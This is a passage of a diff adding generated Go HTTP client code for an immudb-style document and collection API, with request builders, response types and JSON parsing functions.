contentType string, body io.Reader) (*http.Request, error) { + var err error + + serverURL, err := url.Parse(server) + if err != nil { + return nil, err + } + + operationPath := fmt.Sprintf("/documents/insert") + if operationPath[0] == '/' { + operationPath = "." + operationPath + } + + queryURL, err := serverURL.Parse(operationPath) + if err != nil { + return nil, err + } + + req, err := http.NewRequest("PUT", queryURL.String(), body) + if err != nil { + return nil, err + } + + req.Header.Add("Content-Type", contentType) + + return req, nil +} + +// NewDocumentInsertManyRequest calls the generic DocumentInsertMany builder with application/json body +func NewDocumentInsertManyRequest(server string, body DocumentInsertManyJSONRequestBody) (*http.Request, error) { + var bodyReader io.Reader + buf, err := json.Marshal(body) + if err != nil { + return nil, err + } + bodyReader = bytes.NewReader(buf) + return NewDocumentInsertManyRequestWithBody(server, "application/json", bodyReader) +} + +// NewDocumentInsertManyRequestWithBody generates requests for DocumentInsertMany with any type of body +func NewDocumentInsertManyRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { + var err error + + serverURL, err := url.Parse(server) + if err != nil { + return nil, err + } + + operationPath := fmt.Sprintf("/documents/insertMany") + if operationPath[0] == '/' { + operationPath = "." + operationPath + } + + queryURL, err := serverURL.Parse(operationPath) + if err != nil { + return nil, err + } + + req, err := http.NewRequest("PUT", queryURL.String(), body) + if err != nil { + return nil, err + } + + req.Header.Add("Content-Type", contentType) + + return req, nil +} + +// NewDocumentProofRequest calls the generic DocumentProof builder with application/json body +func NewDocumentProofRequest(server string, body DocumentProofJSONRequestBody) (*http.Request, error) { + var bodyReader io.Reader + buf, err := json.Marshal(body) + if err != nil { + return nil, err + } + bodyReader = bytes.NewReader(buf) + return NewDocumentProofRequestWithBody(server, "application/json", bodyReader) +} + +// NewDocumentProofRequestWithBody generates requests for DocumentProof with any type of body +func NewDocumentProofRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { + var err error + + serverURL, err := url.Parse(server) + if err != nil { + return nil, err + } + + operationPath := fmt.Sprintf("/documents/proof") + if operationPath[0] == '/' { + operationPath = "." + operationPath + } + + queryURL, err := serverURL.Parse(operationPath) + if err != nil { + return nil, err + } + + req, err := http.NewRequest("POST", queryURL.String(), body) + if err != nil { + return nil, err + } + + req.Header.Add("Content-Type", contentType) + + return req, nil +} + +// NewDocumentSearchRequest calls the generic DocumentSearch builder with application/json body +func NewDocumentSearchRequest(server string, body DocumentSearchJSONRequestBody) (*http.Request, error) { + var bodyReader io.Reader + buf, err := json.Marshal(body) + if err != nil { + return nil, err + } + bodyReader = bytes.NewReader(buf) + return NewDocumentSearchRequestWithBody(server, "application/json", bodyReader) +} + +// NewDocumentSearchRequestWithBody generates requests for DocumentSearch with any type of body +func NewDocumentSearchRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { + var err error + + serverURL, err := url.Parse(server) + if err != nil { + return nil, err + } + + operationPath := fmt.Sprintf("/documents/search") + if operationPath[0] == '/' { + operationPath = "." + operationPath + } + + queryURL, err := serverURL.Parse(operationPath) + if err != nil { + return nil, err + } + + req, err := http.NewRequest("POST", queryURL.String(), body) + if err != nil { + return nil, err + } + + req.Header.Add("Content-Type", contentType) + + return req, nil +} + +// NewDocumentUpdateRequest calls the generic DocumentUpdate builder with application/json body +func NewDocumentUpdateRequest(server string, body DocumentUpdateJSONRequestBody) (*http.Request, error) { + var bodyReader io.Reader + buf, err := json.Marshal(body) + if err != nil { + return nil, err + } + bodyReader = bytes.NewReader(buf) + return NewDocumentUpdateRequestWithBody(server, "application/json", bodyReader) +} + +// NewDocumentUpdateRequestWithBody generates requests for DocumentUpdate with any type of body +func NewDocumentUpdateRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { + var err error + + serverURL, err := url.Parse(server) + if err != nil { + return nil, err + } + + operationPath := fmt.Sprintf("/documents/update") + if operationPath[0] == '/' { + operationPath = "." + operationPath + } + + queryURL, err := serverURL.Parse(operationPath) + if err != nil { + return nil, err + } + + req, err := http.NewRequest("POST", queryURL.String(), body) + if err != nil { + return nil, err + } + + req.Header.Add("Content-Type", contentType) + + return req, nil +} + +func (c *Client) applyEditors(ctx context.Context, req *http.Request, additionalEditors []RequestEditorFn) error { + for _, r := range c.RequestEditors { + if err := r(ctx, req); err != nil { + return err + } + } + for _, r := range additionalEditors { + if err := r(ctx, req); err != nil { + return err + } + } + return nil +} + +// ClientWithResponses builds on ClientInterface to offer response payloads +type ClientWithResponses struct { + ClientInterface +} + +// NewClientWithResponses creates a new ClientWithResponses, which wraps +// Client with return type handling +func NewClientWithResponses(server string, opts ...ClientOption) (*ClientWithResponses, error) { + client, err := NewClient(server, opts...) + if err != nil { + return nil, err + } + return &ClientWithResponses{client}, nil +} + +// WithBaseURL overrides the baseURL. +func WithBaseURL(baseURL string) ClientOption { + return func(c *Client) error { + newBaseURL, err := url.Parse(baseURL) + if err != nil { + return err + } + c.Server = newBaseURL.String() + return nil + } +} + +// ClientWithResponsesInterface is the interface specification for the client with responses above. +type ClientWithResponsesInterface interface { + // CloseSession request with any body + CloseSessionWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CloseSessionResponse, error) + + CloseSessionWithResponse(ctx context.Context, body CloseSessionJSONRequestBody, reqEditors ...RequestEditorFn) (*CloseSessionResponse, error) + + // KeepAlive request with any body + KeepAliveWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*KeepAliveResponse, error) + + KeepAliveWithResponse(ctx context.Context, body KeepAliveJSONRequestBody, reqEditors ...RequestEditorFn) (*KeepAliveResponse, error) + + // OpenSession request with any body + OpenSessionWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*OpenSessionResponse, error) + + OpenSessionWithResponse(ctx context.Context, body OpenSessionJSONRequestBody, reqEditors ...RequestEditorFn) (*OpenSessionResponse, error) + + // CollectionCreate request with any body + CollectionCreateWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CollectionCreateResponse, error) + + CollectionCreateWithResponse(ctx context.Context, body CollectionCreateJSONRequestBody, reqEditors ...RequestEditorFn) (*CollectionCreateResponse, error) + + // CollectionDelete request + CollectionDeleteWithResponse(ctx context.Context, params *CollectionDeleteParams, reqEditors ...RequestEditorFn) (*CollectionDeleteResponse, error) + + // CollectionGet request + CollectionGetWithResponse(ctx context.Context, params *CollectionGetParams, reqEditors ...RequestEditorFn) (*CollectionGetResponse, error) + + // CollectionList request with any body + CollectionListWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CollectionListResponse, error) + + CollectionListWithResponse(ctx context.Context, body CollectionListJSONRequestBody, reqEditors ...RequestEditorFn) (*CollectionListResponse, error) + + // CollectionUpdate request with any body + CollectionUpdateWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CollectionUpdateResponse, error) + + CollectionUpdateWithResponse(ctx context.Context, body CollectionUpdateJSONRequestBody, reqEditors ...RequestEditorFn) (*CollectionUpdateResponse, error) + + // DocumentAudit request with any body + DocumentAuditWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentAuditResponse, error) + + DocumentAuditWithResponse(ctx context.Context, body DocumentAuditJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentAuditResponse, error) + + // DocumentInsert request with any body + DocumentInsertWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentInsertResponse, error) + + DocumentInsertWithResponse(ctx context.Context, body DocumentInsertJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentInsertResponse, error) + + // DocumentInsertMany request with any body + DocumentInsertManyWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentInsertManyResponse, error) + + DocumentInsertManyWithResponse(ctx context.Context, body DocumentInsertManyJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentInsertManyResponse, error) + + // DocumentProof request with any body + DocumentProofWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentProofResponse, error) + + DocumentProofWithResponse(ctx context.Context, body DocumentProofJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentProofResponse, error) + + // DocumentSearch request with any body + DocumentSearchWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentSearchResponse, error) + + DocumentSearchWithResponse(ctx context.Context, body DocumentSearchJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentSearchResponse, error) + + // DocumentUpdate request with any body + DocumentUpdateWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentUpdateResponse, error) + + DocumentUpdateWithResponse(ctx context.Context, body DocumentUpdateJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentUpdateResponse, error) +} + +type CloseSessionResponse struct { + Body []byte + HTTPResponse *http.Response + JSON200 *ModelCloseSessionResponse + JSONDefault *RpcStatus +} + +// Status returns HTTPResponse.Status +func (r CloseSessionResponse) Status() string { + if r.HTTPResponse != nil { + return r.HTTPResponse.Status + } + return http.StatusText(0) +} + +// StatusCode returns HTTPResponse.StatusCode +func (r CloseSessionResponse) StatusCode() int { + if r.HTTPResponse != nil { + return r.HTTPResponse.StatusCode + } + return 0 +} + +type KeepAliveResponse struct { + Body []byte + HTTPResponse *http.Response + JSON200 *ModelKeepAliveResponse + JSONDefault *RpcStatus +} + +// Status returns HTTPResponse.Status +func (r KeepAliveResponse) Status() string { + if r.HTTPResponse != nil { + return r.HTTPResponse.Status + } + return http.StatusText(0) +} + +// StatusCode returns HTTPResponse.StatusCode +func (r KeepAliveResponse) StatusCode() int { + if r.HTTPResponse != nil { + return r.HTTPResponse.StatusCode + } + return 0 +} + +type OpenSessionResponse struct { + Body []byte + HTTPResponse *http.Response + JSON200 *ImmudbmodelOpenSessionResponse + JSONDefault *RpcStatus +} + +// Status returns HTTPResponse.Status +func (r OpenSessionResponse) Status() string { + if r.HTTPResponse != nil { + return r.HTTPResponse.Status + } + return http.StatusText(0) +} + +// StatusCode returns HTTPResponse.StatusCode +func (r OpenSessionResponse) StatusCode() int { + if r.HTTPResponse != nil { + return r.HTTPResponse.StatusCode + } + return 0 +} + +type CollectionCreateResponse struct { + Body []byte + HTTPResponse *http.Response + JSON200 *ModelCollectionCreateResponse + JSONDefault *RpcStatus +} + +// Status returns HTTPResponse.Status +func (r CollectionCreateResponse) Status() string { + if r.HTTPResponse != nil { + return r.HTTPResponse.Status + } + return http.StatusText(0) +} + +// StatusCode returns HTTPResponse.StatusCode +func (r CollectionCreateResponse) StatusCode() int { + if r.HTTPResponse != nil { + return r.HTTPResponse.StatusCode + } + return 0 +} + +type CollectionDeleteResponse struct { + Body []byte + HTTPResponse *http.Response + JSON200 *ModelCollectionDeleteResponse + JSONDefault *RpcStatus +} + +// Status returns HTTPResponse.Status +func (r CollectionDeleteResponse) Status() string { + if r.HTTPResponse != nil { + return r.HTTPResponse.Status + } + return http.StatusText(0) +} + +// StatusCode returns HTTPResponse.StatusCode +func (r CollectionDeleteResponse) StatusCode() int { + if r.HTTPResponse != nil { + return r.HTTPResponse.StatusCode + } + return 0 +} + +type CollectionGetResponse struct { + Body []byte + HTTPResponse *http.Response + JSON200 *ModelCollectionGetResponse + JSONDefault *RpcStatus +} + +// Status returns HTTPResponse.Status +func (r CollectionGetResponse) Status() string { + if r.HTTPResponse != nil { + return r.HTTPResponse.Status + } + return http.StatusText(0) +} + +// StatusCode returns HTTPResponse.StatusCode +func (r CollectionGetResponse) StatusCode() int { + if r.HTTPResponse != nil { + return r.HTTPResponse.StatusCode + } + return 0 +} + +type CollectionListResponse struct { + Body []byte + HTTPResponse *http.Response + JSON200 *ModelCollectionListResponse + JSONDefault *RpcStatus +} + +// Status returns HTTPResponse.Status +func (r CollectionListResponse) Status() string { + if r.HTTPResponse != nil { + return r.HTTPResponse.Status + } + return http.StatusText(0) +} + +// StatusCode returns HTTPResponse.StatusCode +func (r CollectionListResponse) StatusCode() int { + if r.HTTPResponse != nil { + return r.HTTPResponse.StatusCode + } + return 0 +} + +type CollectionUpdateResponse struct { + Body []byte + HTTPResponse *http.Response + JSON200 *ModelCollectionUpdateResponse + JSONDefault *RpcStatus +} + +// Status returns HTTPResponse.Status +func (r CollectionUpdateResponse) Status() string { + if r.HTTPResponse != nil { + return r.HTTPResponse.Status + } + return http.StatusText(0) +} + +// StatusCode returns HTTPResponse.StatusCode +func (r CollectionUpdateResponse) StatusCode() int { + if r.HTTPResponse != nil { + return r.HTTPResponse.StatusCode + } + return 0 +} + +type DocumentAuditResponse struct { + Body []byte + HTTPResponse *http.Response + JSON200 *ModelDocumentAuditResponse + JSONDefault *RpcStatus +} + +// Status returns HTTPResponse.Status +func (r DocumentAuditResponse) Status() string { + if r.HTTPResponse != nil { + return r.HTTPResponse.Status + } + return http.StatusText(0) +} + +// StatusCode returns HTTPResponse.StatusCode +func (r DocumentAuditResponse) StatusCode() int { + if r.HTTPResponse != nil { + return r.HTTPResponse.StatusCode + } + return 0 +} + +type DocumentInsertResponse struct { + Body []byte + HTTPResponse *http.Response + JSON200 *ModelDocumentInsertResponse + JSONDefault *RpcStatus +} + +// Status returns HTTPResponse.Status +func (r DocumentInsertResponse) Status() string { + if r.HTTPResponse != nil { + return r.HTTPResponse.Status + } + return http.StatusText(0) +} + +// StatusCode returns HTTPResponse.StatusCode +func (r DocumentInsertResponse) StatusCode() int { + if r.HTTPResponse != nil { + return r.HTTPResponse.StatusCode + } + return 0 +} + +type DocumentInsertManyResponse struct { + Body []byte + HTTPResponse *http.Response + JSON200 *ModelDocumentInsertManyResponse + JSONDefault *RpcStatus +} + +// Status returns HTTPResponse.Status +func (r DocumentInsertManyResponse) Status() string { + if r.HTTPResponse != nil { + return r.HTTPResponse.Status + } + return http.StatusText(0) +} + +// StatusCode returns HTTPResponse.StatusCode +func (r DocumentInsertManyResponse) StatusCode() int { + if r.HTTPResponse != nil { + return r.HTTPResponse.StatusCode + } + return 0 +} + +type DocumentProofResponse struct { + Body []byte + HTTPResponse *http.Response + JSON200 *ModelDocumentProofResponse + JSONDefault *RpcStatus +} + +// Status returns HTTPResponse.Status +func (r DocumentProofResponse) Status() string { + if r.HTTPResponse != nil { + return r.HTTPResponse.Status + } + return http.StatusText(0) +} + +// StatusCode returns HTTPResponse.StatusCode +func (r DocumentProofResponse) StatusCode() int { + if r.HTTPResponse != nil { + return r.HTTPResponse.StatusCode + } + return 0 +} + +type DocumentSearchResponse struct { + Body []byte + HTTPResponse *http.Response + JSON200 *ModelDocumentSearchResponse + JSONDefault *RpcStatus +} + +// Status returns HTTPResponse.Status +func (r DocumentSearchResponse) Status() string { + if r.HTTPResponse != nil { + return r.HTTPResponse.Status + } + return http.StatusText(0) +} + +// StatusCode returns HTTPResponse.StatusCode +func (r DocumentSearchResponse) StatusCode() int { + if r.HTTPResponse != nil { + return r.HTTPResponse.StatusCode + } + return 0 +} + +type DocumentUpdateResponse struct { + Body []byte + HTTPResponse *http.Response + JSON200 *ModelDocumentUpdateResponse + JSONDefault *RpcStatus +} + +// Status returns HTTPResponse.Status +func (r DocumentUpdateResponse) Status() string { + if r.HTTPResponse != nil { + return r.HTTPResponse.Status + } + return http.StatusText(0) +} + +// StatusCode returns HTTPResponse.StatusCode +func (r DocumentUpdateResponse) StatusCode() int { + if r.HTTPResponse != nil { + return r.HTTPResponse.StatusCode + } + return 0 +} + +// CloseSessionWithBodyWithResponse request with arbitrary body returning *CloseSessionResponse +func (c *ClientWithResponses) CloseSessionWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CloseSessionResponse, error) { + rsp, err := c.CloseSessionWithBody(ctx, contentType, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseCloseSessionResponse(rsp) +} + +func (c *ClientWithResponses) CloseSessionWithResponse(ctx context.Context, body CloseSessionJSONRequestBody, reqEditors ...RequestEditorFn) (*CloseSessionResponse, error) { + rsp, err := c.CloseSession(ctx, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseCloseSessionResponse(rsp) +} + +// KeepAliveWithBodyWithResponse request with arbitrary body returning *KeepAliveResponse +func (c *ClientWithResponses) KeepAliveWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*KeepAliveResponse, error) { + rsp, err := c.KeepAliveWithBody(ctx, contentType, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseKeepAliveResponse(rsp) +} + +func (c *ClientWithResponses) KeepAliveWithResponse(ctx context.Context, body KeepAliveJSONRequestBody, reqEditors ...RequestEditorFn) (*KeepAliveResponse, error) { + rsp, err := c.KeepAlive(ctx, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseKeepAliveResponse(rsp) +} + +// OpenSessionWithBodyWithResponse request with arbitrary body returning *OpenSessionResponse +func (c *ClientWithResponses) OpenSessionWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*OpenSessionResponse, error) { + rsp, err := c.OpenSessionWithBody(ctx, contentType, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseOpenSessionResponse(rsp) +} + +func (c *ClientWithResponses) OpenSessionWithResponse(ctx context.Context, body OpenSessionJSONRequestBody, reqEditors ...RequestEditorFn) (*OpenSessionResponse, error) { + rsp, err := c.OpenSession(ctx, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseOpenSessionResponse(rsp) +} + +// CollectionCreateWithBodyWithResponse request with arbitrary body returning *CollectionCreateResponse +func (c *ClientWithResponses) CollectionCreateWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CollectionCreateResponse, error) { + rsp, err := c.CollectionCreateWithBody(ctx, contentType, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseCollectionCreateResponse(rsp) +} + +func (c *ClientWithResponses) CollectionCreateWithResponse(ctx context.Context, body CollectionCreateJSONRequestBody, reqEditors ...RequestEditorFn) (*CollectionCreateResponse, error) { + rsp, err := c.CollectionCreate(ctx, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseCollectionCreateResponse(rsp) +} + +// CollectionDeleteWithResponse request returning *CollectionDeleteResponse +func (c *ClientWithResponses) CollectionDeleteWithResponse(ctx context.Context, params *CollectionDeleteParams, reqEditors ...RequestEditorFn) (*CollectionDeleteResponse, error) { + rsp, err := c.CollectionDelete(ctx, params, reqEditors...) + if err != nil { + return nil, err + } + return ParseCollectionDeleteResponse(rsp) +} + +// CollectionGetWithResponse request returning *CollectionGetResponse +func (c *ClientWithResponses) CollectionGetWithResponse(ctx context.Context, params *CollectionGetParams, reqEditors ...RequestEditorFn) (*CollectionGetResponse, error) { + rsp, err := c.CollectionGet(ctx, params, reqEditors...) + if err != nil { + return nil, err + } + return ParseCollectionGetResponse(rsp) +} + +// CollectionListWithBodyWithResponse request with arbitrary body returning *CollectionListResponse +func (c *ClientWithResponses) CollectionListWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CollectionListResponse, error) { + rsp, err := c.CollectionListWithBody(ctx, contentType, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseCollectionListResponse(rsp) +} + +func (c *ClientWithResponses) CollectionListWithResponse(ctx context.Context, body CollectionListJSONRequestBody, reqEditors ...RequestEditorFn) (*CollectionListResponse, error) { + rsp, err := c.CollectionList(ctx, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseCollectionListResponse(rsp) +} + +// CollectionUpdateWithBodyWithResponse request with arbitrary body returning *CollectionUpdateResponse +func (c *ClientWithResponses) CollectionUpdateWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CollectionUpdateResponse, error) { + rsp, err := c.CollectionUpdateWithBody(ctx, contentType, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseCollectionUpdateResponse(rsp) +} + +func (c *ClientWithResponses) CollectionUpdateWithResponse(ctx context.Context, body CollectionUpdateJSONRequestBody, reqEditors ...RequestEditorFn) (*CollectionUpdateResponse, error) { + rsp, err := c.CollectionUpdate(ctx, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseCollectionUpdateResponse(rsp) +} + +// DocumentAuditWithBodyWithResponse request with arbitrary body returning *DocumentAuditResponse +func (c *ClientWithResponses) DocumentAuditWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentAuditResponse, error) { + rsp, err := c.DocumentAuditWithBody(ctx, contentType, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseDocumentAuditResponse(rsp) +} + +func (c *ClientWithResponses) DocumentAuditWithResponse(ctx context.Context, body DocumentAuditJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentAuditResponse, error) { + rsp, err := c.DocumentAudit(ctx, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseDocumentAuditResponse(rsp) +} + +// DocumentInsertWithBodyWithResponse request with arbitrary body returning *DocumentInsertResponse +func (c *ClientWithResponses) DocumentInsertWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentInsertResponse, error) { + rsp, err := c.DocumentInsertWithBody(ctx, contentType, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseDocumentInsertResponse(rsp) +} + +func (c *ClientWithResponses) DocumentInsertWithResponse(ctx context.Context, body DocumentInsertJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentInsertResponse, error) { + rsp, err := c.DocumentInsert(ctx, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseDocumentInsertResponse(rsp) +} + +// DocumentInsertManyWithBodyWithResponse request with arbitrary body returning *DocumentInsertManyResponse +func (c *ClientWithResponses) DocumentInsertManyWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentInsertManyResponse, error) { + rsp, err := c.DocumentInsertManyWithBody(ctx, contentType, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseDocumentInsertManyResponse(rsp) +} + +func (c *ClientWithResponses) DocumentInsertManyWithResponse(ctx context.Context, body DocumentInsertManyJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentInsertManyResponse, error) { + rsp, err := c.DocumentInsertMany(ctx, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseDocumentInsertManyResponse(rsp) +} + +// DocumentProofWithBodyWithResponse request with arbitrary body returning *DocumentProofResponse +func (c *ClientWithResponses) DocumentProofWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentProofResponse, error) { + rsp, err := c.DocumentProofWithBody(ctx, contentType, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseDocumentProofResponse(rsp) +} + +func (c *ClientWithResponses) DocumentProofWithResponse(ctx context.Context, body DocumentProofJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentProofResponse, error) { + rsp, err := c.DocumentProof(ctx, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseDocumentProofResponse(rsp) +} + +// DocumentSearchWithBodyWithResponse request with arbitrary body returning *DocumentSearchResponse +func (c *ClientWithResponses) DocumentSearchWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentSearchResponse, error) { + rsp, err := c.DocumentSearchWithBody(ctx, contentType, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseDocumentSearchResponse(rsp) +} + +func (c *ClientWithResponses) DocumentSearchWithResponse(ctx context.Context, body DocumentSearchJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentSearchResponse, error) { + rsp, err := c.DocumentSearch(ctx, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseDocumentSearchResponse(rsp) +} + +// DocumentUpdateWithBodyWithResponse request with arbitrary body returning *DocumentUpdateResponse +func (c *ClientWithResponses) DocumentUpdateWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentUpdateResponse, error) { + rsp, err := c.DocumentUpdateWithBody(ctx, contentType, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseDocumentUpdateResponse(rsp) +} + +func (c *ClientWithResponses) DocumentUpdateWithResponse(ctx context.Context, body DocumentUpdateJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentUpdateResponse, error) { + rsp, err := c.DocumentUpdate(ctx, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseDocumentUpdateResponse(rsp) +} + +// ParseCloseSessionResponse parses an HTTP response from a CloseSessionWithResponse call +func ParseCloseSessionResponse(rsp *http.Response) (*CloseSessionResponse, error) { + bodyBytes, err := io.ReadAll(rsp.Body) + defer func() { _ = rsp.Body.Close() }() + if err != nil { + return nil, err + } + + response := &CloseSessionResponse{ + Body: bodyBytes, + HTTPResponse: rsp, + } + + switch { + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: + var dest ModelCloseSessionResponse + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSON200 = &dest + + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: + var dest RpcStatus + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSONDefault = &dest + + } + + return response, nil +} + +// ParseKeepAliveResponse parses an HTTP response from a KeepAliveWithResponse call +func ParseKeepAliveResponse(rsp *http.Response) (*KeepAliveResponse, error) { + bodyBytes, err := io.ReadAll(rsp.Body) + defer func() { _ = rsp.Body.Close() }() + if err != nil { + return nil, err + } + + response := &KeepAliveResponse{ + Body: bodyBytes, + HTTPResponse: rsp, + } + + switch { + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: + var dest ModelKeepAliveResponse + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSON200 = &dest + + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: + var dest RpcStatus + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSONDefault = &dest + + } + + return response, nil +} + +// ParseOpenSessionResponse parses an HTTP response from a OpenSessionWithResponse call +func ParseOpenSessionResponse(rsp *http.Response) (*OpenSessionResponse, error) { + bodyBytes, err := io.ReadAll(rsp.Body) + defer func() { _ = rsp.Body.Close() }() + if err != nil { + return nil, err + } + + response := &OpenSessionResponse{ + Body: bodyBytes, + HTTPResponse: rsp, + } + + switch { + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: + var dest ImmudbmodelOpenSessionResponse + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSON200 = &dest + + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: + var dest RpcStatus + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSONDefault = &dest + + } + + return response, nil +} + +// ParseCollectionCreateResponse parses an HTTP response from a CollectionCreateWithResponse call +func ParseCollectionCreateResponse(rsp *http.Response) (*CollectionCreateResponse, error) { + bodyBytes, err := io.ReadAll(rsp.Body) + defer func() { _ = rsp.Body.Close() }() + if err != nil { + return nil, err + } + + response := &CollectionCreateResponse{ + Body: bodyBytes, + HTTPResponse: rsp, + } + + switch { + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: + var dest ModelCollectionCreateResponse + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSON200 = &dest + + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: + var dest RpcStatus + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSONDefault = &dest + + } + + return response, nil +} + +// ParseCollectionDeleteResponse parses an HTTP response from a CollectionDeleteWithResponse call +func ParseCollectionDeleteResponse(rsp *http.Response) (*CollectionDeleteResponse, error) { + bodyBytes, err := io.ReadAll(rsp.Body) + defer func() { _ = rsp.Body.Close() }() + if err != nil { + return nil, err + } + + response := &CollectionDeleteResponse{ + Body: bodyBytes, + HTTPResponse: rsp, + } + + switch { + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: + var dest ModelCollectionDeleteResponse + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSON200 = &dest + + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: + var dest RpcStatus + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSONDefault = &dest + + } + + return response, nil +} + +// ParseCollectionGetResponse parses an HTTP response from a CollectionGetWithResponse call +func ParseCollectionGetResponse(rsp *http.Response) (*CollectionGetResponse, error) { + bodyBytes, err := io.ReadAll(rsp.Body) + defer func() { _ = rsp.Body.Close() }() + if err != nil { + return nil, err + } + + response := &CollectionGetResponse{ + Body: bodyBytes, + HTTPResponse: rsp, + } + + switch { + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: + var dest ModelCollectionGetResponse + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSON200 = &dest + + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: + var dest RpcStatus + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSONDefault = &dest + + } + + return response, nil +} + +// ParseCollectionListResponse parses an HTTP response from a CollectionListWithResponse call +func ParseCollectionListResponse(rsp *http.Response) (*CollectionListResponse, error) { + bodyBytes, err := io.ReadAll(rsp.Body) + defer func() { _ = rsp.Body.Close() }() + if err != nil { + return nil, err + } + + response := &CollectionListResponse{ + Body: bodyBytes, + HTTPResponse: rsp, + } + + switch { + case 